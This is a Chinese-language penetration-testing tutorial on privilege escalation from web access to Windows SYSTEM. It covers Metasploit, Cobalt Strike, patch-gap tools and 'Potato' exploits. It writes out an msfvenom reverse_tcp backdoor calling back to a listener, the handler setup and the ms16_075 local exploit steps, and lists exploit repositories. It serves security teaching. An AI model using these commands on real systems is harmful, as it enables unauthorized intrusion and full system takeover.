Window Linux 權限提升

#基礎點:

0、為什么我們要學習權限提升轉移技術:

簡單來說就是達到目的過程中需要用到它? 心里要想著我是誰 我在哪 我要去哪里

1、具體有哪些權限需要我們了解掌握的:

后臺權限,數據庫權限,Web權限,用戶權限,服務器權限,宿主機權限,域控制器權限

2、以上常見權限獲取方法簡要歸類說明:

后臺權限:SQL注入,數據庫泄漏,弱口令攻擊,未授權訪問等造成

數據庫權限:SQL注入,數據庫泄漏,弱口令攻擊,未授權訪問等造成

Web權限:RCE,反序列化,文件上傳等直達或通過后臺數據庫間接造成

用戶權限:弱口令,數據泄漏等直達或通過Web,服務器及域控轉移造成

服務器權限:系統內核漏洞,釣魚后門攻擊,主機軟件安全直達或上述權限提升造成

宿主機權限:Docker不安全配置或漏洞權限提升直達(服務資產造成入口后提升)

域控制器權限:內網域計算機用戶提升或自身內核漏洞,后門攻擊,主機軟件安全直達

3、以上常見權限獲取后能操作的具體事情:

后臺權限:文章管理,站點管理,模版管理,數據管理,上傳管理等

數據庫權限:操作數據庫的權限,數據增刪改查等(以數據庫用戶為主)

Web權限:源碼查看,源碼文件增刪改查,磁盤文件文件夾查看(以權限配置為主)

用戶權限:就如同自己電腦上普通用戶能操作的情況(敏感操作會被禁止)

服務器權限:就如同自己電腦上能操作的情況(整個系統都是你的)

宿主機權限:就如同自己電腦上能操作的情況(整個系統都是你的)

域控制器權限:就如同自己電腦上能操作的情況(整個內網域系統都是你的)

4、以上常見權限在實戰中的應用場景介紹:

當我們通過弱口令進入到應用后臺管理

當我們下載備份文件獲取到數據庫信息

當我們通過漏洞拿到資產系統的Web權限

當我們在公司被給予賬號密碼登錄計算機或系統

當我們在公司或釣魚后門獲取到某個公司機器系統

#權限提升-Web應用&中間件&數據庫

背景1:通過弱口令進入Web后臺系統通過上傳獲取Web權限

背景2:通過Tomcat弱口令進入控制界面通過上傳獲取Web權限

背景3:通過Redis未授權進入管理端通過SQL執行獲取Web權限

#權限轉移-后臺管理&數據庫管理&Web

Tmall-后臺權限->Web權限(提升)

Tmall-Web權限->數據庫權限(轉移)

Tmall-Web權限->另一個后臺權限(轉移)

PhpMyadmin-數據管理->Web權限(提升)

PhpMyadmin-Web權限->另一個后臺權限(轉移)


#Web到Win系統提權-平臺&語言&用戶

1、Web搭建平臺差異

集成軟件,自行搭建,虛擬化等

集成軟件:寶塔,PhpStudy,XAMMP等

自行搭建:自己一個個下載安裝搭建配置

虛擬化:Docker,ESXi,QEMU,Hyper-V等

集成軟件大多獲得權限后直接就是高權限 除了寶塔有自己的安全策略

自行搭建的不會出先拿到權限后就是高權限的情況

虛擬化需要先逃逸

2、Web語言權限差異

ASP/ASP.NET/PHP/JSP等

權限高低:JSP>ASP.NET>ASP=PHP

JSP的拿到權限后就是高權限不需要再提權? 其他語言都需要再提(前提是自行搭建的 如果是集成軟件的都不需要再提權了)

原因:語言特性

3、系統用戶權限差異

Windows:

System:系統組,擁有管理系統資源的權限,包括文件、目錄和注冊表等。

Administrators:管理員組,具有對計算機進行完全訪問和操作的權限。

Users:用戶組,一般用戶的默認組別,擁有較低的系統權限。

Guests:

訪客組,可以訪問計算機上的公共文件夾和打印機,但不能更改配置和安裝程序。

Backup Operators:

備份操作員組,允許用戶備份和還原數據,但不能更改配置安裝程序。

Power Users:高級用戶組,擁有比一般用戶更高的系統權限,但比管理員組權限低。

Remote Desktop Users:遠程桌面用戶組,允許用戶進行遠程桌面連接。

Network Configuration Operators:網絡配置操作員組,允許用戶管理網絡配置。

Performance Log Users:性能日志用戶組,允許用戶收集性能日志和計數器數據。

Distributed COM Users:

分布式 COM 用戶組,允許用戶使用分布式 COM 連接到計算機。

IIS_IUSRS: 用于授權IIS相關服務的用戶組。

Windows 權限大概分為四個基本

System是最高權限Administrators其次,再下面就是User,組權限最底的是特殊組如Remote Desktop Users 這種,ASP/ASP.NET/PHP獲得的權限就是IIS_IUSRS這個組的。?

Linux:

系統用戶:UID(0-999)

普通用戶:UID(1000-*)

root用戶:UID為0,擁有系統的完全控制權限


#Web到Win-系統提權-寶塔面板-哥斯拉

Windows 2012(寶塔Apache+PHP)-MSF

復現搭建:選擇2012系統后自行安裝寶塔

PMeterpreter

BypassOpenBaseDir

BypassDisableFunction

#Web到Win-系統提權-溢出漏洞-MSF&CS

Windows 2008(IIS+ASP)-MSF

自行搭建+ASP/PHP+Windows 2008

復現搭建:選擇2016系統后自行安裝IIS+ASP

0、MSF安裝:(也可以用kali)

目前的msf版本有bug可以TB上購買pro版本嘎嘎穩

https://blog.csdn.net/qq_46717339/article/details/122653084

1、生成反彈后門

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe

2、配置監聽會話

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 3333

exploit

2.1、篩選EXP模塊

全自動:快速識別系統中可能被利用的漏洞

use post/multi/recon/local_exploit_suggester

set showdescription true

3、利用EXP溢出提權

background

use exploit/windows/local/ms16_075_reflection_juicy

set session 1

exploit

Windows 2016(IIS+ASP.NET)-CS

復現搭建:選擇2016系統后自行安裝IIS+ASP.NET

0、CS安裝

chmod +x ./teamserver

chmod +x ./TeamServerImage

./teamserver IP password

1、連接CS

2、創建監聽器

3、加載腳本插件


#Web到Win-系統提權-人工操作

如果提權中無法執行命令的話,可以嘗試上傳cmd.exe到可讀寫目錄再調用

優點:解決實時更新不集成的EXP

缺點:操作繁瑣,需要各種復現調試

解決工具或插件無法實時更新,又或者集成較少面對復雜情況下人工操作更適合

1、信息收集

參考常見命令(見上圖)

2、補丁篩選

https://i.hacking8.com/tiquan

https://github.com/bitsadmin/wesng

python wes.py systeminfo.txt --color

python wes.py systeminfo.txt --color -i "Elevation of Privilege"

3、EXP獲取執行

KernelHub 針對常用溢出編號指定找EXP

Poc-in-Github 針對年份及編號指定找EXP

exploitdb 針對類型及關鍵說明指定找EXP

https://github.com/Ascotbe/Kernelhub

https://github.com/nomi-sec/PoC-in-GitHub

https://gitlab.com/exploit-database/exploitdb

#Web到Win-系統提權-土豆家族

https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w

土豆(potato)提權通常用在我們獲取WEB/數據庫權限的時候,

可以將低權限的服務用戶提升為“NT AUTHORITY\SYSTEM”特權。

1、Test in:Windows 10/111809/21H2)

2、Test in:Windows Server 2019 Datacenter(1809)

3、Test in:Windows Server 2022 Datacenter(21H2)

土豆家族

SweetPotato OK

RoguePotato

BadPotato OK

EfsPotato OK

GodPotato OK

PetitPotato OK

MultiPotato

CandyPotato

RasmanPotato OK

CoercedPotato

JuicyPotatoNG

PrintNotifyPotato OK

GodPotato

https://github.com/BeichenDream/GodPotato

SweetPotato

https://github.com/CCob/SweetPotato

RoguePotato

https://github.com/antonioCoco/RoguePotato

BadPotato

https://github.com/BeichenDream/BadPotato

EfsPotato

https://github.com/zcgonvh/EfsPotato

MultiPotato

https://github.com/S3cur3Th1sSh1t/MultiPotato

CandyPotato

https://github.com/klezVirus/CandyPotato

RasmanPotato

https://github.com/crisprss/RasmanPotato

PetitPotato

https://github.com/wh0amitz/PetitPotato

JuicyPotatoNG

https://github.com/antonioCoco/JuicyPotatoNG

PrintNotifyPotato

https://github.com/BeichenDream/PrintNotifyPotato

CoercedPotato

https://github.com/Prepouce/CoercedPotato

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/14127.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/14127.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/14127.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【VTKExamples::Texture】第六期 TextureThreshold

很高興在雪易的CSDN遇見你 VTK技術愛好者 QQ:870202403 公眾號:VTK忠粉 前言 本文分享VTK樣例TextureThreshold,并解析接口vtkTexture,希望對各位小伙伴有所幫助! 感謝各位小伙伴的點贊+關注,小易會繼續努力分享,一起進步! 你的點贊就是我的動力(^U^)ノ~Y…

127.數據異構方案

文章目錄 前言一、數據異構的常用方法1. 完整克隆2. MQ方式3. binlog方式 二、MQ與Binlog方案實現MQ方式binlog方式注意點 三、總結 前言 何謂數據異構:把數據按需(數據結構、存取方式、存取形式)異地構建存儲。比如我們將DB里面的數據持久化…

Android 安全補丁介紹

Android 安全補丁介紹 每月安全補丁更新:https://source.android.com/docs/security/bulletin CEV 全稱: Common Vulnerabilities and Exposures (CVE) 常見漏洞和暴露 (CVE) 安全補丁版本查看:設置,關于手機,Andro…

前端基礎入門三大核心之HTML篇:無序列表的深度探索

前端基礎入門三大核心之HTML篇:無序列表的深度探索 一、無序列表基礎概念與作用1.1 什么是無序列表?1.2 無序列表的作用 二、基本用法與代碼示例2.1 最簡單的無序列表2.2 添加自定義樣式 三、進階應用與技巧3.1 列表嵌套3.2 利用CSS實現復雜布局3.3 安全…

云和恩墨海外首秀在吉隆坡召開的2024中國智能科技與文化展覽會

作為中馬建交50周年官方重點推薦的活動之一,2024中國智能科技與文化展覽會(第四屆)于5月20至21日在毗鄰吉隆坡雙子塔的吉隆坡國際會展中心舉辦。本次展覽會獲得馬來西亞科學技術創新部、馬來西亞通訊部、中國駐馬來西亞大使館和馬來西亞中華總…

【Linux學習】進程地址空間與寫時拷貝

文章目錄 Linux進程內存布局圖&#xff1a;內存布局的驗證 進程地址空間寫時拷貝 Linux進程內存布局圖&#xff1a; 地址空間的范圍&#xff0c;在32位機器上是2^32比特位,也就是[0,4G]。 內存布局的驗證 代碼驗證內存布局&#xff1a; 驗證代碼&#xff1a; #include<s…

linux系統安全加固

目錄 1、賬戶安全基本措施 1&#xff09;系統賬戶清理 2&#xff09;密碼安全控制 3&#xff09;命令歷史限制 2、用戶切換及提權 1&#xff09;使用 su命令切換用戶 2&#xff09;使用sudo機制提升權限 3、系統引導和安全登錄控制 1&#xff09;開機安全控制 2&…

頭歌實踐教學平臺:Junit實訓入門篇

第2關&#xff1a;Junit注解 任務描述 給出一個帶有注解的Junit代碼及其代碼打印輸出&#xff0c;要求學員修改注解位置&#xff0c;讓輸出結果變為逆序。 相關知識 Junit注解 Java注解&#xff08;(Annotation&#xff09;的使用方法是" 注解名" 。借助注解&a…

python數據處理與分析入門-Pandas數據可視化例子

相關內容 Matplotlib可視化練習 Pandas 數據可視化總結 柱狀圖 reviews[points].value_counts().sort_index().plot.bar()散點圖 reviews[reviews[price] < 100].sample(100).plot.scatter(xprice, ypoints)蜂窩圖 reviews[reviews[price] < 100].plot.hexbin(xprice…

Helm安裝kafka3.7.0無持久化(KRaft 模式集群)

文章目錄 2.1 Chart包方式安裝kafka集群 5.開始安裝2.2 命令行方式安裝kafka集群 搭建 Kafka-UI三、kafka集群測試3.1 方式一3.2 方式二 四、kafka集群擴容4.1 方式一4.2 方式二 五、kafka集群刪除 參考文檔 [Helm實踐---安裝kafka集群 - 知乎 (zhihu.com)](https://zhuanlan.…

virtualbox共享文件夾沒有訪問權限

設置好共享文件夾之后&#xff0c;進入虛擬機&#xff0c;共享文件夾的地址是/media/sf_shared。 想要使用cd命令進入該文件夾時&#xff0c;你可能會發現此文件夾無法訪問&#xff0c;系統提示的原因是權限不足。 在虛擬機下查看共享文件夾的屬性&#xff0c;發現該目錄的所…

Nginx - 健康檢查終極指南:探索Upstream Check模塊

文章目錄 概述upstream_check_module模塊安裝和配置指南模塊安裝步驟基本配置示例詳細配置說明檢查類型和參數常見問題及解決方案 SSL檢查和DNS解析功能SSL檢查配置示例和說明配置示例 DNS解析配置示例和說明配置示例 結合實際應用場景的高級配置示例綜合SSL檢查與DNS解析 總結…

Doris【部署 03】Linux環境Doris數據庫部署異常問題收集解決(不斷更新)

Linux環境Doris數據庫部署異常問題 1.FE1.1 Unknown system variable character_set_database1.2 notify new FE type transfer: UNKNOWN1.3 mysql_load_server_secure_path1.4 Only unique table could be updated1.5 too many filtered rows 2.BE2.1 Have not get FE Master …

python:大文件分批/塊導入數據庫方式記錄

一、問題背景 對于數據文件比較大的數據&#xff0c;一次性串聯sql進行入庫&#xff0c;往往會受到數據庫本身對sql長度的限制&#xff0c;從而需要分塊或者分批次&#xff0c;將大數據文件一點一點的進行入庫。特針對這種入庫方式&#xff0c;進行一個簡單記錄&#xff0c;各…

spring的控制反轉(IoC)容器作用是什么?

控制反轉&#xff08;Inversion of Control&#xff0c;IoC&#xff09;容器是一種強大的設計模式&#xff0c;在現代軟件開發&#xff0c;特別是在使用Spring框架等企業級Java應用中至關重要。IoC容器主要作用是管理應用程序中對象的生命周期和依賴關系。我會逐步解釋它的作用…

YOLOv8改進 | 主干網絡 | 增加網絡結構增強小目標檢測能力【獨家創新——附結構圖】

??????本專欄所有程序均經過測試,可成功執行?????? 在目標檢測領域內,盡管YOLO系列的算法傲視群雄,但在某些方面仍然存在改進的空間。在YOLOv8提取特征的時候,由于卷積的緣故,會導致很多信息的丟失。對于小目標來說更是如此,這樣將大幅度降低小目標的檢測能…

pinpoint服務監控

Pinpoint是一個開源的APM&#xff08;應用性能管理&#xff09;系統&#xff0c;主要用于監控和管理Java應用程序的性能。它提供了實時的性能指標、分布式追蹤和診斷等功能&#xff0c;幫助開發和運維快速定位和解決應用程序中的性能問題。 pinpoint其他部分不變&#xff0c;H…

正確可用--Notepad++批量轉換文件編碼為UTF8

參考了:Notepad批量轉換文件編碼為UTF8_怎么批量把ansi轉成utf8-CSDN博客??????https://blog.csdn.net/wangmy1988/article/details/118698647我參考了它的教程,但是py腳本寫的不對. 只能改一個.不能實現批量更改. 他的操作步驟沒問題,就是把腳本代碼換成我這個. #-*-…

graspnet+Astra2相機實現部署

graspnetAstra2相機實現部署 &#x1f680; 環境配置 &#x1f680; ubuntu 20.04Astra2相機cuda 11.0.1cudnn v8.9.7python 3.8.19pytorch 1.7.0numpy 1.23.5 1. graspnet的復現 具體的復現流程可以參考這篇文章&#xff1a;Ubuntu20.04下GraspNet復現流程 這里就不再詳細…

數據庫系統概論(第5版)復習筆記

筆記的Github倉庫地址 &#x1f446;這是筆記的gihub倉庫&#xff0c;內容是PDF格式。 因為圖片和代碼塊太多&#xff0c;放到CSDN太麻煩了&#xff08;比較懶&#x1f923;&#xff09; 如果感覺對各位有幫助的話歡迎點一個?\^o^/